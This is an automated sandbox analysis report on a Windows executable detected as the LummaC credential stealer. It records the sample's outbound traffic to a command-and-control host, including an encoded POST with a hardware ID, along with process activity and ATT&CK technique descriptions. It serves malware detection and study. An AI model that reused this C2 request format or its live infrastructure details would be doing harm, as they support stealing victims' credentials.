7c 98 89 7a ad 54 ac 47 29 d8 db 62 b0 b3 e7 94 52 d9 52 e3 26 16 0e 7a fa d3 3b 31 af 76 59 2b 44 94 83 bd c3 0c 7c d2 3e 25 Data Ascii: \H*Qy6Gqh;7:o\|R+$<y6H+Df=t+MsYr<D=ovTdsHH"]2(HA\tR8GCjGEK.W7e4lT42b,\|WM8^#n\|zTG)bRR&z;1vY+D\|>%
2024-12-27 14:12:41 UTC	15331	OUT	Data Raw: b7 e3 25 5c 99 48 9d 48 b3 ac 51 4f 09 77 e9 74 1d bb b4 95 ec 2b d2 8e d1 f8 d3 87 25 76 73 3c 15 c4 8e a4 a6 b1 3c 6a 77 a7 7b 38 3b 45 ec 10 d9 b4 50 41 be aa 15 b9 7a 86 ae 8a da b1 27 35 31 59 9d 35 31 33 5f cd ca 64 90 27 1a d2 ff e2 c2 87 50 fd 89 df b6 ec 07 19 e9 32 e1 97 cb 04 ea 2b b7 98 eb 23 63 31 33 fc d4 76 c2 d7 86 b3 5f 37 3b be 68 ec bb 25 49 4b 5d 7a 95 96 1e 62 86 40 40 50 4c ac 4c 81 0d e2 c2 b5 05 14 39 0c 82 98 32 e0 2a 56 57 12 22 6a 69 14 a8 3f 34 b9 7e 7e d4 74 cf 51 d0 cb 8f 51 4d e5 98 e7 83 0c 0a f5 f2 0f d3 8a f0 af fa 39 a5 7f fa 1a ea dc fe 20 0f ba ea b0 1f d6 b3 9e ed 79 2f 06 2c af 00 4b 4c d9 47 40 95 5c 77 77 3d 90 a1 06 0a e3 ff 4c 2f 4b 23 66 5a 82 36 a3 64 16 74 85 5c 95 be 0e 11 7b 6e fd f0 9d 65 37 6a e9 39 7f ba Data Ascii: %\HHQOwt+%vs<<jw{8;EPAz'51Y513_d'P2+#c13v_7;h%IK]zb@@PLL92*VW"ji?4~~tQQM9 y/,KLG@\ww=L/K#fZ6dt\{ne7j9
2024-12-27 14:12:41 UTC	15331	OUT	Data Raw: 5e de 35 76 90 02 1d 45 d1 fd f0 2a 21 1e 2f c3 57 92 87 af 33 a4 09 74 dd cc f7 67 46 5f 8d 36 63 c2 0a 6f ab 5c 7c 54 12 f1 19 ad 3b 39 8b cc 29 82 0b ff e0 43 a0 cb dd 3c 54 6c 6b 46 95 80 20 34 86 29 47 47 a0 c8 aa 88 9f 37 0b cc 03 8e 97 9c d6 68 0e f1 5b 8f b6 27 b7 da 74 7f 81 08 e8 fb e2 a0 e3 57 f6 1a 50 8e a6 dc 6b 75 75 a2 ad 74 ea 6a b8 6d f5 4d ab 3b 2b 98 a4 d7 e1 5b 78 a3 74 65 60 ab e2 5f 0a 61 40 20 17 b4 6b 83 81 e2 07 5d 33 dc 4d 0a ce 0a 40 7e 74 64 d0 46 e1 7b 0b 47 e9 d0 9b 7a ab 81 70 cf bf 93 19 f6 85 96 fc 1c 3b 70 fd 34 01 8b 76 5d e1 86 14 1c 48 80 14 8b 10 e1 47 ec fc dc 8f c1 60 6e c2 b5 05 75 68 29 2c 34 32 32 88 1c ee b7 a9 d9 cf 47 b5 68 6e 0a 2a 30 27 2d 9c 21 98 9e 38 15 91 4e d1 ae e0 a8 7a ab c0 d6 ca e9 44 2d 96 2a b8 Data Ascii: ^5vE!/W3tgF_6co\\|T;9)C<TlkF 4)GG7h['tWPkuutjmM;+[xte`_a@ k]3M@~tdF{Gzp;p4v]HG`nuh),422Ghn0'-!8NzD-*
2024-12-27 14:12:41 UTC	15331	OUT	Data Raw: 6d d4 d6 d4 2c b5 05 b5 4c b3 73 82 97 d2 a3 d2 05 26 1f 31 7e 56 23 fa ff 2c a5 2f a6 d2 ca 35 de 51 25 b4 94 6d eb 91 6d 56 67 a4 a2 e8 1a 25 f1 2b 8e fe b8 65 c5 3e d1 ca 4a 31 5b 69 20 21 5b 44 24 59 fa ed c4 d7 8f 85 2d bc 92 9f 8a 61 c0 ae d5 bc f5 ed 5e fa 2d ee 0b c7 c6 da 30 c6 f4 d6 b7 4a 78 1a d7 a1 0f 3b 71 3c 94 59 55 12 0f e5 ef ab 92 f8 1a 22 be b3 3f ff 29 54 67 ec 8c ab 7b df 4b f0 25 1d f5 dd ea 76 73 4e 93 7c b8 26 89 62 fc dd b2 f0 2d b8 62 cb 6e 83 99 63 19 22 3e 12 77 09 5c 19 4e 44 7d 24 5f 38 3d 91 a9 8e 87 66 63 46 6d 73 6a a2 b8 ee 11 29 1c 8d f3 2c 73 08 21 64 e4 40 9e c2 66 dd 45 65 40 58 1b ec fa 79 cb 90 9d e1 be 6e 39 e4 aa 00 a2 8e f4 ae e9 41 43 92 e9 24 36 c5 05 46 3e d7 c1 c1 ee 99 b5 80 4d 17 6c 36 90 da de 78 90 61 3a Data Ascii: m,Ls&1~V#,/5Q%mmVg%+e>J1[i ![D$Y-a^-0Jx;q<YU"?)Tg{K%vsN\|&b-bnc">w\ND}$_8=fcFmsj),s!d@fEe@Xyn9AC$6F>Ml6xa:
2024-12-27 14:12:41 UTC	15331	OUT	Data Raw: 59 b2 a1 a0 d8 0b 31 f0 23 2a 4b 25 6e 80 a1 05 22 a6 f6 96 9f c5 81 1d 22 28 d9 c0 ab 2d d9 c7 4d 65 ed e9 33 26 a4 bb 01 b6 95 ab d9 cb 79 fa 59 dc 15 d7 ed 97 97 21 b0 3e fb 37 ef ec 5f 44 a0 63 80 64 08 9d ee e4 9e 87 a3 09 9c c5 c7 b3 ed c4 93 23 a7 e7 28 9a b8 db 4b 6b e1 9d 92 17 ce 38 df cf b1 c0 8b 54 2e 2d df 0c e0 e7 dc 95 bb 2d 73 4c c8 ea cb 45 ad 65 67 ee d5 47 8d 9e 3a a3 9b c9 a1 83 3d 23 e8 42 eb 0b be b5 36 b9 e3 5b f2 0f 7a 16 3e 42 48 f1 1a 40 b1 c6 d7 7e 84 ec c7 c6 5a ea 34 30 0c ed 5a 01 db d0 59 e4 7f 97 20 c6 bb ec 5c 76 a4 8a 34 3c 96 d1 84 fb 1f e8 62 02 26 7e a4 e6 8c 13 7c 07 64 05 83 4b bb 91 80 20 da 1c b4 35 c6 a8 03 7e 7d 60 be b3 30 9f 12 d9 24 7d e0 37 d6 8d ae 11 03 66 2d 1e fb 60 9b 47 b0 17 63 83 2f b7 4d 8e ea 07 09 Data Ascii: Y1#*K%n""(-Me3&yY!>7_Dcd#(Kk8T.--sLEegG:=#B6[z>BH@~Z40ZY \v4<b&~\|dK 5~}`0$}7f-`Gc/M
2024-12-27 14:12:41 UTC	15331	OUT	Data Raw: e2 7d a5 d3 e7 1b 5c 95 b3 e7 27 d2 4d 1c 14 2f 2b 3f d7 9f 57 eb 70 4b b0 ad 57 92 8f d0 bd 2c 9c c4 d3 84 fc 42 1b 09 db 5b 4e bb 4c 5a 26 8e 84 f7 e3 83 dc a1 ec ca 55 b5 f2 9f d8 e2 c7 91 63 f7 cd f4 23 78 a0 37 43 dd 23 23 aa f4 af 44 6e 66 50 e9 33 bf 3f 25 de df 22 33 54 83 de 48 92 e9 bd e2 82 dd bf 33 6d 25 de 9f 2e af a4 a7 08 92 7d 4e ff fe 73 37 04 04 3b fb f9 30 e0 91 72 e6 63 57 64 76 22 f5 f6 bc 26 bb 46 9c eb e9 5f f6 a4 ce bb e2 06 4f cb 61 f5 e8 2b 7d cb 63 a6 90 dd 71 77 fb eb dc 7f bf 57 3c 8e d2 e8 96 ac 13 84 f7 72 bc 19 2c 0c ee d6 aa 78 38 fe fc 56 76 98 71 a4 84 3e 6a b5 b6 16 69 33 e7 d6 7c 27 6f 2d 07 91 89 00 23 0b ed 18 4d 7f cf c8 c3 1a 91 7d 19 43 b6 b3 ec d9 1f 22 ea b4 87 63 e0 73 7b a5 45 ba 4f 1c 71 cf d4 84 51 71 8f dc Data Ascii: }\'M/+?WpKW,B[NLZ&Uc#x7C##DnfP3?%"3TH3m%.}Ns7;0rcWdv"&F_Oa+}cqwW<r,x8Vvq>ji3\|'o-#M}C"cs{EOqQq
2024-12-27 14:12:41 UTC	15331	OUT	Data Raw: a2 55 bb 00 77 72 3e ea 24 1e 2e ba dd 31 57 cf b6 70 cf 4e c4 1d d8 29 8f 30 5f 61 5e e3 41 54 15 b2 f2 e5 cf 71 d2 48 29 84 c4 71 e1 2f e3 74 fd 13 c7 45 34 1c 61 d9 b9 ab 63 b6 11 84 d1 5a 01 ee 2d 60 f3 d5 58 02 20 38 6f 46 ad d1 16 04 d8 c5 5b 24 fb 78 e4 ef b5 93 b6 d9 e8 98 b5 70 3b b3 fa bb 18 4a da 06 26 66 7c 48 17 a3 d5 8a 48 48 22 b6 32 91 2c e4 ec cf bf 71 f2 c3 7c 1f bf 93 8f c7 46 99 51 98 cf c4 19 e7 b0 79 84 e2 b2 ad 44 e5 a5 af 93 9a ed 8d ab 8a 3a af 76 50 51 11 b7 a5 08 7d e1 ef 0e e3 3d 01 ec 2f 72 e8 68 2b 73 4a bf ed 67 2b e9 c9 2e 99 fb e6 2a 93 e7 7a 72 c9 1d 95 9c 8f c7 74 69 24 df 2d d1 cd 37 07 3a 14 f5 94 f0 89 f5 69 0a 76 18 c2 fd 6f b5 a8 b0 ea 8b 78 8f 01 ea 75 1f b5 65 f8 6b fb 51 84 e7 6c 6a 22 ad a7 71 ab 7e df 24 44 80 Data Ascii: Uwr>$.1WpN)0_a^ATqH)q/tE4acZ-`X 8oF[$xp;J&f\|HHH"2,q\|FQyD:vPQ}=/rh+sJg+.*zrti$-7:ivoxuekQlj"q~$D
2024-12-27 14:12:41 UTC	15331	OUT	Data Raw: ee c5 01 8b d9 54 46 91 e8 70 d6 05 b3 17 f5 80 5a 92 44 ad 16 03 37 76 da e5 d4 7b 79 35 f0 8c c9 0e 5d 0c 78 de 29 26 9f 53 3d cd 71 7b d2 5c 7c 84 73 e3 7b ac 14 bc 97 75 20 35 46 02 e0 3b 70 0c 1c 01 df 8d 82 65 b7 be 68 7f 69 e1 65 3a d3 88 e8 72 67 8b 4b 16 28 58 37 b6 53 b8 25 4f f3 18 b0 b4 c8 6e a8 57 59 0b 49 6e 41 12 cb 51 aa 3d 6e 48 2d 65 a5 3e aa 3a 4b 55 5e e8 fe a2 0b 82 54 c9 01 5b 12 e0 c3 ba 99 a0 a1 cc d4 ab 62 be 3c cc 62 e6 f1 e8 8d 53 6f b0 57 86 1a d0 ba 5b f4 90 fe 1e 93 fc 73 25 9a 49 70 84 14 e8 6d c0 03 62 3e 40 89 57 1f a0 2b d1 94 92 4d 14 6f 6a 33 f7 46 19 09 82 55 7b b7 7a 3b 24 4b 70 8b 42 6c 30 36 0f df b1 b5 6b d6 8c 95 2a ea 5a 60 86 82 cb 93 77 50 d3 fb 9a 97 44 a4 c2 26 d5 88 33 22 57 50 32 1a c4 00 e8 ae 9d b7 ff 2c Data Ascii: TFpZD7v{y5]x)&S=q{\\|s{u 5F;pehie:rgK(X7S%OnWYInAQ=nH-e>:KU^T[b<bSoW[s%Ipmb>@W+Moj3FU{z;$KpBl06k*Z`wPD&3"WP2,
2024-12-27 14:12:50 UTC	1139	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:12:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t447f9d32okjv29c2tl6ekptg5; expires=Tue, 22 Apr 2025 07:59:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ObZV%2FXqwd14coAR162BLcEpirJ%2F0UFPgAd8JkI%2BLKr6oMo066VtrZ7SjoOnGMwyaKy%2FBEnPx17FxamxM6kPP0NYvkIBdIfpDa55Dp%2B2WN%2FoJRwd%2FSCNBbO3A6aKARidMKXg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e82faa194228-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1704&min_rtt=1702&rtt_var=642&sent=338&recv=593&lost=0&retrans=0&sent_bytes=2838&recv_bytes=573415&delivery_rate=1699650&cwnd=209&unsent_bytes=0&cid=8c882a1fcc24b358&ts=8774&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49727	104.21.11.101	443	4952	C:\Users\user\Desktop\eYAXkcBRfQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:12:51 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: mindhandru.buzz
2024-12-27 14:12:51 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 36 33 41 38 43 38 38 39 41 33 37 34 45 30 44 32 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=63A8C889A374E0D2BEBA0C6A975F1733
2024-12-27 14:12:52 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:12:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pa2li5et1fv83ldddrppnur59f; expires=Tue, 22 Apr 2025 07:59:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OInERMAqop7QIQqMigUVdm8n7YyJnQDXvujiG2h7Ix2kS2lJXB%2BZicQc3KQe2kBB%2BdkmddOPW%2BTN67VSFkj9jETsrJGuNMJ1llg9ydDaFwmrfsHyRRQX8cJ7wSb8nXV9dTQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e86fba564362-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2206&min_rtt=1610&rtt_var=1797&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=987&delivery_rate=457393&cwnd=250&unsent_bytes=0&cid=11d078621c937658&ts=1087&x=0"
2024-12-27 14:12:52 UTC	210	IN	Data Raw: 63 63 0d 0a 6e 36 6c 4f 70 44 70 46 33 2f 6b 69 6c 66 6f 78 46 77 37 53 7a 37 74 79 75 71 33 4d 51 35 47 71 48 6b 66 6f 2f 75 35 61 54 39 76 45 30 6d 7a 52 47 48 2f 39 6b 56 62 68 69 67 74 4c 49 59 37 67 69 6b 71 50 67 2f 35 79 70 49 51 76 64 74 76 51 33 32 77 54 39 50 44 50 4b 50 67 56 49 62 71 66 44 50 43 43 56 44 55 69 38 4b 6e 50 55 49 43 64 34 47 48 30 69 43 52 32 6c 64 4b 56 65 44 72 35 70 59 73 6d 30 45 34 31 35 61 55 4e 79 64 55 41 4c 7a 76 38 2f 59 70 48 6c 4a 7a 39 63 4c 2b 62 4b 42 76 48 6b 59 67 38 45 2f 54 37 7a 43 69 4b 58 7a 32 36 32 77 36 33 6e 45 55 31 4e 4f 4c 6a 6d 52 65 59 6c 2f 77 2b 7a 41 3d 3d 0d 0a Data Ascii: ccn6lOpDpF3/kilfoxFw7Sz7tyuq3MQ5GqHkfo/u5aT9vE0mzRGH/9kVbhigtLIY7gikqPg/5ypIQvdtvQ32wT9PDPKPgVIbqfDPCCVDUi8KnPUICd4GH0iCR2ldKVeDr5pYsm0E415aUNydUALzv8/YpHlJz9cL+bKBvHkYg8E/T7zCiKXz262w63nEU1NOLjmReYl/w+zA==
2024-12-27 14:12:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:12:22
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\eYAXkcBRfQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\eYAXkcBRfQ.exe"
Imagebase:	0xbb0000
File size:	2'984'960 bytes
MD5 hash:	6C77CECDFB7FBD825F0F1B98E7580A12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2173885979.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2173802722.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:13:04
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	09:13:05
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2064,i,8281733334163277,9674830976605934628,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	09:13:08
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:13:09
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1140 --field-trial-handle=2008,i,8247718535860993351,4651391629473625408,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report eYAXkcBRfQ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

